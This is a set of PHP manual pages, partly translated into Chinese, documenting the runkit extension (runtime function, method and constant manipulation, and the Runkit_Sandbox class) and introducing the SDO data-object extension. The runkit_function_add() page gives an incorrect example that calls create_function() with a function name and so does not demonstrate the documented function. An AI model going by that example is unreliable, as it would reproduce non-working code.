runkit_function_rename -- Change a function's name
runkit_import -- Process a PHP file importing function and class definitions, overwriting where appropriate
runkit_lint_file -- Check the PHP syntax of the specified file
runkit_lint -- Check the PHP syntax of the specified php code
runkit_method_add -- Dynamically adds a new method to a given class
runkit_method_copy -- Copies a method from class to another
runkit_method_redefine -- Dynamically changes the code of the given method
runkit_method_remove -- Dynamically removes the given method
runkit_method_rename -- Dynamically changes the name of the given method
runkit_sandbox_output_handler -- Specify a function to capture and/or process output from a runkit sandbox
runkit_superglobals -- Return numerically indexed array of registered superglobals

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sql_regcase | 上一级 | Runkit_Sandbox


Runkit_Sandbox

(no version information, might be only in CVS)

Runkit_Sandbox -- Runkit Sandbox Class -- PHP Virtual Machine

说明

Instantiating the Runkit_Sandbox class creates a new thread with its own scope and program stack. Using a set of options passed to the constructor, this environment may be restricted to a subset of what the primary interpreter can do and provide a safer environment for executing user supplied code.

注: 对沙盒的支持（是函数 runkit_lint()、runkit_lint_file() 和 Runkit_Sandbox 类所必须的）仅在 PHP 5.1 中，或在加过特别补丁的 PHP 5.0 中，并需要启用线程安全。请阅读 runkit 包中的 README 文件以了解更多信息。

Constructor

void Runkit_Sandbox::__construct ( [array options] )

options is an associative array containing any combination of the special ini options listed below.

safe_mode

If the outer script which is instantiating the Runkit_Sandbox class is configured with safe_mode = off, then safe_mode may be turned on for the sandbox environment. This setting can not be used to disable safe_mode when it's already enabled in the outer script.

safe_mode_gid

If the outer script which is instantiating the Runkit_Sandbox class is configured with safe_mode_gid = on, then safe_mode_gid may be turned off for the sandbox environment. This setting can not be used to enable safe_mode_gid when it's already disabled in the outer script.

safe_mode_include_dir

If the outer script which is instantiating the Runkit_Sandbox class is configured with a safe_mode_include_dir, then a new safe_mode_include_dir may be set for sandbox environments below the currently defined value. safe_mode_include_dir may also be cleared to indicate that the bypass feature is disabled. If safe_mode_include_dir was blank in the outer script, but safe_mode was not enabled, then any arbitrary safe_mode_include_dir may be set while turning safe_mode on.

open_basedir

open_basedir may be set to any path below the current setting of open_basedir. If open_basedir is not set within the global scope, then it is assumed to be the root directory and may be set to any location.

allow_url_fopen

Like safe_mode, this setting can only be made more restrictive, in this case by setting it to FALSE when it is previously set to TRUE

disable_functions

Comma separated list of functions to disable within the sandbox sub-interpreter. This list need not contain the names of the currently disabled functions, they will remain disabled whether listed here or not.

disable_classes

Comma separated list of classes to disable within the sandbox sub-interpreter. This list need not contain the names of the currently disabled classes, they will remain disabled whether listed here or not.

runkit.superglobal

Comma separated list of variables to be treated as superglobals within the sandbox sub-interpreter. These variables will be used in addition to any variables defined internally or through the global runkit.superglobal setting.

例子 1. Instantiating a restricted sandbox

<?php
$options = array(
  'safe_mode'=>true,
  'open_basedir'=>'/var/www/users/jdoe/',
  'allow_url_fopen'=>'false',
  'disable_functions'=>'exec,shell_exec,passthru,system',
  'disable_classes'=>'myAppClass');
$sandbox = new Runkit_Sandbox($options);
/* Non-protected ini settings may set normally */
$sandbox->ini_set('html_errors',true);
?>

Accessing Variables

All variables in the global scope of the sandbox environment are accessible as properties of the sandbox object. The first thing to note is that because of the way memory between these two threads is managed, object and resource variables can not currently be exchanged between interpreters. Additionally, all arrays are deep copied and any references will be lost. This also means that references between interpreters are not possible.

例子 2. Working with variables in a sandbox

<?php
$sandbox = new Runkit_Sandbox();

$sandbox->foo = 'bar';
$sandbox->eval('echo "$foo\n"; $bar = $foo . "baz";');
echo "{$sandbox->bar}\n";
if (isset($sandbox->foo)) unset($sandbox->foo);
$sandbox->eval('var_dump(isset($foo));');
?>

上例将输出：

bar
barbaz
bool(false)

Calling PHP Functions

Any function defined within the sandbox may be called as
a method on the sandbox object.  This also includes a few
pseudo-function language constructs:  eval(),
include(), include_once(),
require(), require_once(),
echo(), print(),
die(), and exit().

例子 3. Calling sandbox functions

<?php
$sandbox = new Runkit_Sandbox();

echo $sandbox->str_replace('a','f','abc');
?>

上例将输出：

fbc

When passing arguments to a sandbox function, the arguments are taken from the outer instance of PHP. If you wish to pass arguments from the sandbox's scope, be sure to access them as properties of the sandbox object as illustrated above.

例子 4. Passing arguments to sandbox functions

<?php
$sandbox = new Runkit_Sandbox();

$foo = 'bar';
$sandbox->foo = 'baz';
echo $sandbox->str_replace('a',$foo,'a');
echo $sandbox->str_replace('a',$sandbox->foo,'a');
?>

上例将输出：

bar
baz

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit Functions | 上一级 | runkit_class_adopt


runkit_class_adopt

(PECL)

runkit_class_adopt -- Convert a base class to an inherited class, add ancestral methods when appropriate

说明

bool runkit_class_adopt ( string classname, string parentname )

参数

classname

Name of class to be adopted

parentname

Parent class which child class is extending

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A runkit_class_adopt() example

<?php
class myParent {
  function parentFunc() {
    echo "Parent Function Output\n";
  }
}

class myChild {
}

runkit_class_adopt('myChild','myParent');
myChild::parentFunc();
?>

上例将输出：

Parent Function Output

参见

runkit_class_emancipate()

add a note add a note User Contributed Notes
muramas at cyberdiscordia dot org
05-Sep-2005 06:25
Just an addition to my previous comment below: functions such as is_subclass_of(), is_a(), and the instanceof operator also do not detect the new lineage of the object; if you are using this function to simulate multiple or dynamic inheritance, you may need to implement your own method of determining class lineage.
muramas at cyberdiscordia dot org
03-Sep-2005 06:09
Function visibility (in PHP5) has some quirks as compared to the normal behavior with "extends".  Consider the following:

   class base {
       public function a() { $this->b(); }
       private function b() { echo "This is b()"; }
   }

This will work fine:
   class inherit extends base {
       public function c() { $this->a(); }
   }

   $x = new inherit;
   $x->c();

while this:
   class adopt {
       public function c() { $this->a(); }
   }
   runkit_class_adopt('adopt','base');
   $x = new adopt;
   $x->c();

will generate a fatal "Call to private method base::b() from context 'adopt'" error.  Protected members can be called from the inherited methods, but still cannot be called from the original class (i.e. if b() were declared protected, the example would work as written, but adopt::c() still could not call base::b() directly.
add a note add a note

后退 | 起点 | 前进
Runkit_Sandbox | 上一级 | runkit_class_emancipate


runkit_class_emancipate

(PECL)

runkit_class_emancipate -- Convert an inherited class to a base class, removes any method whose scope is ancestral

说明

bool runkit_class_emancipate ( string classname )

参数

classname

Name of class to emancipate

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A runkit_class_emancipate() example

<?php
class myParent {
  function parentFunc () {
    echo "Parent Function Output\n";
  }
}
class myChild extends myParent {
}

myChild::parentFunc();
runkit_class_emancipate('myChild');
myChild::parentFunc();
?>

上例将输出：

Parent Function Output
Fatal error: Call to undefined function:  parentFunc() in example.php on line 12

参见

runkit_class_adopt()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_class_adopt | 上一级 | runkit_constant_add


runkit_constant_add

(PECL)

runkit_constant_add -- Similar to define(), but allows defining in class definitions as well

说明

bool runkit_constant_add ( string constname, mixed value )

参数

constname

Name of constant to declare. Either a string to indicate a global constant, or classname::constname to indicate a class constant.

value

NULL, Bool, Long, Double, String, or Resource value to store in the new constant.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

define()
runkit_constant_redefine()
runkit_constant_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_class_emancipate | 上一级 | runkit_constant_redefine


runkit_constant_redefine

(PECL)

runkit_constant_redefine -- Redefine an already defined constant

说明

bool runkit_constant_redefine ( string constname, mixed newvalue )

参数

constname

Constant to redefine. Either string indicating global constant, or classname::constname indicating class constant.

newvalue

New value to assign to constant.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

runkit_constant_add()
runkit_constant_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_constant_add | 上一级 | runkit_constant_remove


runkit_constant_remove

(PECL)

runkit_constant_remove -- Remove/Delete an already defined constant

说明

bool runkit_constant_remove ( string constname )

参数

constname

Name of constant to remove. Either a string indicating a global constant, or classname::constname indicating a class constant.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

define()
runkit_constant_add()
runkit_constant_redefine()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_constant_redefine | 上一级 | runkit_function_add


runkit_function_add

(PECL)

runkit_function_add -- Add a new function, similar to create_function()

说明

bool runkit_function_add ( string funcname, string arglist, string code )

参数

funcname

Name of function to be created

arglist

Comma separated argument list

code

Code making up the function

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A runkit_function_add() example

<?php
create_function('testme','$a,$b','echo "The value of a is $a\n"; echo "The value of b is $b\n";');
testme(1,2);
?>

上例将输出：

The value of a is 1
The value of b is 2

参见

create_function()
runkit_function_redefine()
runkit_function_copy()
runkit_function_rename()
runkit_function_remove()
runkit_method_add()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_constant_remove | 上一级 | runkit_function_copy


runkit_function_copy

(PECL)

runkit_function_copy -- Copy a function to a new function name

说明

bool runkit_function_copy ( string funcname, string targetname )

参数

funcname

Name of existing function

targetname

Name of new function to copy definition to

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A runkit_function_copy() example

<?php
function original() {
  echo "In a function\n";
}
runkit_function_copy('original','duplicate');
original();
duplicate();
?>

上例将输出：

In a function
In a function

参见

runkit_function_add()
runkit_function_redefine()
runkit_function_rename()
runkit_function_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_function_add | 上一级 | runkit_function_redefine


runkit_function_redefine

(PECL)

runkit_function_redefine -- Replace a function definition with a new implementation

说明

bool runkit_function_redefine ( string funcname, string arglist, string code )

参数

funcname

Name of function to redefine

arglist

New list of arguments to be accepted by function

code

New code implementation

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A runkit_function_redefine() example

<?php
function testme() {
  echo "Original Testme Implementation\n";
}
testme();
runkit_function_redefine('testme','','echo "New Testme Implementation\n";');
testme();
?>

上例将输出：

Original Testme Implementation
New Testme Implementation

参见

runkit_function_add()
runkit_function_copy()
runkit_function_rename()
runkit_function_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_function_copy | 上一级 | runkit_function_remove


runkit_function_remove

(PECL)

runkit_function_remove -- Remove a function definition

说明

bool runkit_function_remove ( string funcname )

参数

funcname

Name of function to be deleted

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

runkit_function_add()
runkit_function_copy()
runkit_function_redefine()
runkit_function_rename()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_function_redefine | 上一级 | runkit_function_rename


runkit_function_rename

(PECL)

runkit_function_rename -- Change a function's name

说明

bool runkit_function_rename ( string funcname, string newname )

参数

funcname

Current function name

newname

New function name

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

runkit_function_add()
runkit_function_copy()
runkit_function_redefine()
runkit_function_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_function_remove | 上一级 | runkit_import


runkit_import

(PECL)

runkit_import -- Process a PHP file importing function and class definitions, overwriting where appropriate

说明

bool runkit_import ( string filename [, int flags] )

Similar to include() however any code residing outside of a function or class is simply ignored. Additionally, depending on the value of flags, any functions or classes which already exist in the currently running environment will be automatically overwritten by their new definitions.

参数

filename

Filename to import function and class definitions from

flags

Bitwise OR of the RUNKIT_IMPORT_* family of constants.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
bbisgod [at] gmail [dot] com
30-Nov-2005 03:19
I was experiencing problems using this function on a script. I discovered through trial and error that you CANNOT reload a function (or method of a class) if it has been called (e.g, its present in the debug_backtrace). Also you cannot redeclare a function that is used by set_error_handler.

The reasons are logical, but it took me a good 2 days of debugging to find it, hope this saves someone a headache.
bbisgod [at] gmail [dot] com
30-Nov-2005 02:27
Heres a nice function to reload the whole program, note, requires PHP5.1:

<?
function reload() {
  $files = get_included_files();
  foreach($files as $file) {
   if (runkit_lint_file($file)) {
     runkit_import($file);
   } else {
     return false;
   }
  }
}
?>
add a note add a note

后退 | 起点 | 前进
runkit_function_rename | 上一级 | runkit_lint_file


runkit_lint_file

(PECL)

runkit_lint_file -- Check the PHP syntax of the specified file

说明

bool runkit_lint_file ( string filename )

The runkit_lint_file() function performs a syntax (lint) check on the specified filename testing for scripting errors. This is similar to using php -l from the commandline.

注: 对沙盒的支持（是函数 runkit_lint()、runkit_lint_file() 和 Runkit_Sandbox 类所必须的）仅在 PHP 5.1 中，或在加过特别补丁的 PHP 5.0 中，并需要启用线程安全。请阅读 runkit 包中的 README 文件以了解更多信息。

参数

filename

File containing PHP Code to be lint checked

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

runkit_lint()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_import | 上一级 | runkit_lint


runkit_lint

(PECL)

runkit_lint -- Check the PHP syntax of the specified php code

说明

bool runkit_lint ( string code )

The runkit_lint() function performs a syntax (lint) check on the specified php code testing for scripting errors. This is similar to using php -l from the commandline except runkit_lint() accepts actual code rather than a filename.

注: 对沙盒的支持（是函数 runkit_lint()、runkit_lint_file() 和 Runkit_Sandbox 类所必须的）仅在 PHP 5.1 中，或在加过特别补丁的 PHP 5.0 中，并需要启用线程安全。请阅读 runkit 包中的 README 文件以了解更多信息。

参数

code

PHP Code to be lint checked

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

runkit_lint_file()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_lint_file | 上一级 | runkit_method_add


runkit_method_add

(PECL)

runkit_method_add -- Dynamically adds a new method to a given class

说明

bool runkit_method_add ( string classname, string methodname, string args, string code [, int flags] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

classname

The class to which this method will be added

methodname

The name of the method to add

args

Comma-delimited list of arguments for the newly-created method

code

The code to be evaluated when methodname is called

flags

The type of method to create, can be RUNKIT_ACC_PUBLIC, RUNKIT_ACC_PROTECTED or RUNKIT_ACC_PRIVATE

注: This parameter is only used as of PHP 5, because, prior to this, all methods were public.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. runkit_method_add() example

<?php
class Example {
    function foo() {
        echo "foo!\n";
    }
}

// create an Example object
$e = new Example();

// Add a new public method
runkit_method_add(
    'Example',
    'add',
    '$num1, $num2',
    'return $num1 + $num2;',
    RUNKIT_ACC_PUBLIC
);

// add 12 + 4
echo $e->add(12, 4);
?>

上例将输出：

16

参见

runkit_method_copy()
runkit_method_redefine()
runkit_method_remove()
runkit_method_rename()
runkit_function_add()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_lint | 上一级 | runkit_method_copy


runkit_method_copy

(PECL)

runkit_method_copy -- Copies a method from class to another

说明

bool runkit_method_copy ( string dClass, string dMethod, string sClass [, string sMethod] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

dClass

Destination class for copied method

dMethod

Destination method name

sClass

Source class of the method to copy

sMethod

Name of the method to copy from the source class. If this parameter is omitted, the value of dMethod is assumed.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. runkit_method_copy() example

<?php
class Foo {
    function example() {
        return "foo!\n";
    }
}

class Bar {
    // initially, no methods
}

// copy the example() method from the Foo class to the Bar class, as baz()
runkit_method_copy('Bar', 'baz', 'Foo', 'example');

// output copied function
echo Bar::baz();
?>

上例将输出：

foo!

参见

runkit_method_add()
runkit_method_redefine()
runkit_method_remove()
runkit_method_rename()
runkit_function_copy()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_method_add | 上一级 | runkit_method_redefine


runkit_method_redefine

(PECL)

runkit_method_redefine -- Dynamically changes the code of the given method

说明

bool runkit_method_redefine ( string classname, string methodname, string args, string code [, int flags] )

注: 本函数不能被用来操作当前正在运行（或运行链上）的方法。

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

classname

The class in which to redefine the method

methodname

The name of the method to redefine

args

Comma-delimited list of arguments for the redefined method

code

The new code to be evaluated when methodname is called

flags

The redefined method can be RUNKIT_ACC_PUBLIC, RUNKIT_ACC_PROTECTED or RUNKIT_ACC_PRIVATE

注: This parameter is only used as of PHP 5, because, prior to this, all methods were public.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. runkit_method_redefine() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// create an Example object
$e = new Example();

// output Example::foo() (before redefine)
echo "Before: " . $e->foo();

// Redefine the 'foo' method
runkit_method_redefine(
    'Example',
    'foo',
    '',
    'return "bar!\n";',
    RUNKIT_ACC_PUBLIC
);

// output Example::foo() (after redefine)
echo "After: " . $e->foo();
?>

上例将输出：

Before: foo!
After: bar!

参见

runkit_method_add()
runkit_method_copy()
runkit_method_remove()
runkit_method_rename()
runkit_function_redefine()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_method_copy | 上一级 | runkit_method_remove


runkit_method_remove

(PECL)

runkit_method_remove -- Dynamically removes the given method

说明

bool runkit_method_remove ( string classname, string methodname )

注: 本函数不能被用来操作当前正在运行（或运行链上）的方法。

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

classname

The class in which to remove the method

methodname

The name of the method to remove

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. runkit_method_remove() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }

    function bar() {
        return "bar!\n";
    }
}

// Remove the 'foo' method
runkit_method_remove(
    'Example',
    'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

上例将输出：

bar

参见

runkit_method_add()
runkit_method_copy()
runkit_method_redefine()
runkit_method_rename()
runkit_function_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_method_redefine | 上一级 | runkit_method_rename


runkit_method_rename

(PECL)

runkit_method_rename -- Dynamically changes the name of the given method

说明

bool runkit_method_rename ( string classname, string methodname, string newname )

注: 本函数不能被用来操作当前正在运行（或运行链上）的方法。

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

classname

The class in which to rename the method

methodname

The name of the method to rename

newname

The new name to give to the renamed method

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. runkit_method_rename() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// Rename the 'foo' method to 'bar'
runkit_method_rename(
    'Example',
    'foo',
    'bar'
);

// output renamed function
echo Example::bar();
?>

上例将输出：

foo!

参见

runkit_method_add()
runkit_method_copy()
runkit_method_redefine()
runkit_method_remove()
runkit_function_rename()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_method_remove | 上一级 | runkit_sandbox_output_handler


runkit_sandbox_output_handler

(PECL)

runkit_sandbox_output_handler -- Specify a function to capture and/or process output from a runkit sandbox

说明

mixed runkit_sandbox_output_handler ( object sandbox [, mixed callback] )

Ordinarily, anything output (such as with echo() or print()) will be output as though it were printed from the parent's scope. Using runkit_sandbox_output_handler() however, output generated by the sandbox (including errors), can be captured by a function outside of the sandbox.

注: 对沙盒的支持（是函数 runkit_lint()、runkit_lint_file() 和 Runkit_Sandbox 类所必须的）仅在 PHP 5.1 中，或在加过特别补丁的 PHP 5.0 中，并需要启用线程安全。请阅读 runkit 包中的 README 文件以了解更多信息。

参数

sandbox

Object instance of Runkit_Sandbox class on which to set output handling.

callback

Name of a function which expects one parameter. Output generated by sandbox will be passed to this callback. Anything returned by the callback will be displayed normally. If this parameter is not passed then output handling will not be changed. If a non-truth value is passed, output handling will be disabled and will revert to direct display.

返回值

Returns the name of the previously defined output handler callback, or FALSE if no handler was previously defined.

范例

例子 1. Feeding output to a variable

<?php
function capture_output($str) {
  $GLOBALS['sandbox_output'] .= $str;

  return '';
}

$sandbox_output = '';

$php = new Runkit_Sandbox();
runkit_sandbox_output_handler($php, 'capture_output');
$php->echo("Hello\n");
$php->eval('var_dump("Excuse me");');
$php->die("I lost myself.");
unset($php);

echo "Sandbox Complete\n\n";
echo $sandbox_output;
?>

上例将输出：

Sandbox Complete

Hello
string(9) "Excuse me"
I lost myself.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_method_rename | 上一级 | runkit_superglobals


runkit_superglobals

(PECL)

runkit_superglobals -- Return numerically indexed array of registered superglobals

说明

array runkit_superglobals ( void )

返回值

Returns a numerically indexed array of the currently registered superglobals. i.e. _GET, _POST, _REQUEST, _COOKIE, _SESSION, _SERVER, _ENV, _FILES

参见

Variable Scope

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
runkit_sandbox_output_handler | 上一级 | SDO Functions


SDO Functions

PHP 手册
后退 前进

CXXV. SDO Functions

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

Service Data Objects (SDOs) enable PHP applications to work with data from different sources (like a database query, an XML file, and a spreadsheet) using a single interface.

Each different kind of data source requires a Data Access Service (DAS) to provide access to the data in the data source. In your PHP application, you use a DAS to create an SDO instance that represents some data in the data source. You can then set and get values in the SDO instance using the standard SDO interface. Finally, you use a DAS to write the modified data back to a data source (typically the same one).

See the list of Data Access Services for details on those currently available. In addition to the provided DASs, SDO also provides interfaces to enable others to be implemented (see the section on SDO Data Access Services Interface for more details).

This extension is derived from concepts taken from the Service Data Objects specification

The Structure of a Service Data Object

A Service Data Object instance is made up of a tree of data objects. The tree is defined by containment references between the data objects. For example, a Company data object might consist of a number of Department data objects and therefore the Company would have a containment reference to the Departments. Deleting a data object which has a containment reference to another data object will delete the referenced data object. For example, deleting the Company data object will also delete the Departments.

An SDO may also have non-containment references between data objects in the tree. For example, one Employee data object might reference another Employee to identify a career mentor. Deleting a data object which has a non-containment reference to another data object does not delete the referenced data object.

As well as data objects referencing each other, they can also have primitive properties. For example, the Company data object might have a property called "name" of type string, for holding the name of the company (for example, "Acme").

需求

The SDO extension requires PHP 5.1 or higher.

SDO XML Data Access Service, which is built as part of this extension, requires libxml2 (Tested with libxml2 2.6.19) which can be downloaded from http://www.xmlsoft.org/.

安装

There are several options, depending on whether you are installing on Windows or Linux, and depending on whether you are installing a released version (a .tgz file from the PECL site) or the latest from CVS. The Relational DAS also needs special attention as it is written in PHP.

The instructions are likely to change as PHP 5.1 progresses in status from beta to stable release. The instructions here were correct on 11th August 2005, when PHP 5.1.0b3 was the current beta release of PHP, and 0.5.1 was the current beta release of SDO.

The options are summarised in the following table:

latest/Release Windows Linux
latest CVS

  • You will find the latest DLLs for the SDO core and the XML DAS at the PHP snaps site. Follow the link to "PECL extensions for the unstable win32 branch" for the list of recently built DLLs. The latest sdo core DLL is php_sdo.dll and the latest XML DAS DLL is php_sdo_das_xml.dll .

  • Check out the Relational DAS from CVS to somewhere on the PHP include_path .

  • Check out the SDO core and the XML DAS from CVS and build according to the instructions below for building on Linux.

  • Check out the Relational DAS from CVS to somewhere on the PHP include_path .

Release

  • There is currently no way provided for building the release version of the SDO core and XML DAS on a user's machine. You will only be able to pick up the latest DLLs from the snaps site (see previous row of this table).

  • The Relational DAS can be downloaded and installed with the command:

    pear install -B <package name and level>

    Substitute the desired package name and level sdo-0.5.0, or sdo-0.5.1, for example, in the command above.

  • You can download and install all three SDO components - the SDO core, the XML DAS and the Relational DAS - with the command:

    pear install <package name and level>

    Substitute the desired package name and level sdo-0.5.0, or sdo-0.5.1, for example, in the command above.

    This command will build the SDO and XML shared libraries as well as installing the PHP files that make the Relational DAS.

Regardless of which platform or which level of the code you have installed you will need add the two extension libraries to your php.ini file. On Windows, add:
extension=php_sdo.dll
extension=php_sdo_das_xml.dll
On Linux, add:
extension=sdo.so
extension=sdo_das_xml.so
You may also need to update your extension_dir in php.ini to point to the location of these libraries.

The Relational DAS is written in PHP. You may need to update your include_path in php.ini to point to the directory that contains sdo/DAS/Relational .

Building SDO on Linux

This section describes how to build the SDO core and XML DAS on Linux. Currently you would only need to know how to do this if you wish to build a recent version that you have checked out of CVS.

  1. Change to the main extension directory: cd < wherever your sdo code is >

  2. Run phpize, which will set up the environment to compile both SDO and the XML Data Access Service.

  3. Next, run ./configure; make; make install. Please note, you may need to login as root to install the extension.

  4. Make sure that these modules are loaded by PHP, by adding extension=sdo.so and extension=sdo_das_xml.so to your php.ini file in the same order.

Data Access Services

The table below lists the currently provided SDO Data Access Services:

DAS Name | Description
SDO_DAS_XML | An XML Data Access Service supporting reading/writing SDOs as XML documents or via a Web URL to supporting things like RSS feeds.
SDO_DAS_Relational | A PDO-based Data Access Service supporting reading/writing SDO to relational data sources. Implements an optimistic concurrency policy for updates.

Limitations

Implementation Limitations

The following are limitations in the current SDO implementation:

  1. There is no support for multi-byte character sets.

  2. The class constants SDO_DAS_ChangeSummary::NONE,
SDO_DAS_ChangeSummary::MODIFICATION,
SDO_DAS_ChangeSummary::ADDITION,
SDO_DAS_ChangeSummary::DELETION are unavailable,
because of an outstanding problem.

    As a bypass, the global constants SDO_DAS_CHANGE_SUMMARY_NONE, SDO_DAS_CHANGE_SUMMARY_MODIFICATION, SDO_DAS_CHANGE_SUMMARY_ADDITION, SDO_DAS_CHANGE_SUMMARY_DELETION are provided.

  3. You may see problems when serializing and unserializing graphs which include non-containment references. We are working on these.

SDO Limitations

The following SDO 2.0 concepts are not supported in the current PHP implementation. It is not necessarily the case that these will all be added over time. Their inclusion will depend on community requirements.

  1. Abstract types and type derivation.

  2. Open types.

  3. Bi-directional relationships.

  4. Type and property alias names.

  5. Default property values.

  6. Read-only properties.

  7. Model introspection.

  8. XMLHelper/XSDHelper (the XML DAS provide a lot of this functionality)

  9. TypeHelper (the SDO_DAS_DataFactory provides this functionality)

范例

The examples below assume an SDO created with the schema and instance information shown below, using the XML Data Access Service.

The schema describes a company data object. The company contains department data objects, and each department contains employee data objects. Each data object has a number of primitive properties to describe things like name, serial number, etc. Finally, the company data object also has a non-containment reference to one of the employee data objects to identify them as the 'employeeOfTheMonth'.

<xsd:schema
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:sdo="commonj.sdo"
  xmlns:sdoxml="commonj.sdo/xml"
  xmlns:company="companyNS"
  targetNamespace="companyNS">
  <xsd:element name="company" type="company:CompanyType"/>
  <xsd:complexType name="CompanyType">
    <xsd:sequence>
      <xsd:element name="departments" type="company:DepartmentType" maxOccurs="unbounded"/>
    </xsd:sequence>
    <xsd:attribute name="name" type="xsd:string"/>
    <xsd:attribute name="employeeOfTheMonth" type="xsd:IDREF"
sdoxml:propertyType="company:EmployeeType"/> </xsd:complexType>
  <xsd:complexType name="DepartmentType">
    <xsd:sequence>
      <xsd:element name="employees" type="company:EmployeeType"  maxOccurs="unbounded"/>
    </xsd:sequence>
    <xsd:attribute name="name" type="xsd:string"/>
    <xsd:attribute name="location" type="xsd:string"/>
    <xsd:attribute name="number" type="xsd:int"/>
  </xsd:complexType>
  <xsd:complexType name="EmployeeType">
    <xsd:attribute name="name" type="xsd:string"/>
    <xsd:attribute name="SN" type="xsd:ID"/>
    <xsd:attribute name="manager" type="xsd:boolean"/>
  </xsd:complexType>
</xsd:schema>

The instance document below describes a single company, called 'MegaCorp', which contains a single department, called 'Advanced Technologies'. The Advanced Technologies department contains three employees. The company employeeOfTheMonth is referencing the second employee, 'Jane Doe'.

<?xml version="1.0" encoding="UTF-8" ?>
<company xmlns="companyNS" name="MegaCorp" employeeOfTheMonth="#/departments.0/employees.1">
  <departments name="Advanced Technologies" location="NY" number="123">
    <employees name="John Jones" SN="E0001"/>
    <employees name="Jane Doe" SN="E0003"/>
    <employees name="Al Smith" SN="E0004" manager="true"/>
  </departments>
</company>

Setting and Getting Property Values

The following examples assume $company is a data object created from the schema and instance document shown above.

例子 1. Access via Property names

Data object properties can be accessed using the object property access syntax. The following gets the list of departments (containing a single department), and sets the company name to 'Acme'.

<?php
  $departments = $company->departments;
  $company->name = 'Acme';
?>

例子 2. Access via Property index

Data object properties can be accessed via their property index using array syntax. The property index is the position at which the property's definition appears in the model (in this case the xml schema). We can see from the schema listing above that the departments element is the first company property defined and the company name attribute is the second company property (the SDO interface makes no distinction between XML attributes and elements). The following gets the list of departments (containing a single department), and sets the company name to 'Acme'.

<?php
  $departments = $company[0];
  $company[1] = 'Acme';
?>

例子 3. Data Object Iteration

We can iterate over the properties of a data object using foreach. The following iterates over the company properties; name, departments and employeeOfTheMonth.

<?php
  foreach ($company as $name => $value) {
    ...
  }
?>

For the first iteration, $name will be 'name' and $value will be 'Acme'. For the second iteration, $name will be 'departments' and $value will be an SDO_List (because departments is a many-valued property (stated maxOccurs="unbouded" in the schema)) containing a single data object of type DepartmentType. For the third iteration, $name will be 'employeeOfTheMonth' and $value will be a data object of type EmployeeType.

例子 4. Many-valued Property Iteration

Many-valued properties can also be iterated over using foreach. The following iterates over the company's departments.

<?php
  foreach ($company->departments as $department) {
    ...
  }
?>

Each iteration will assign the next department in the list to the variable $department.

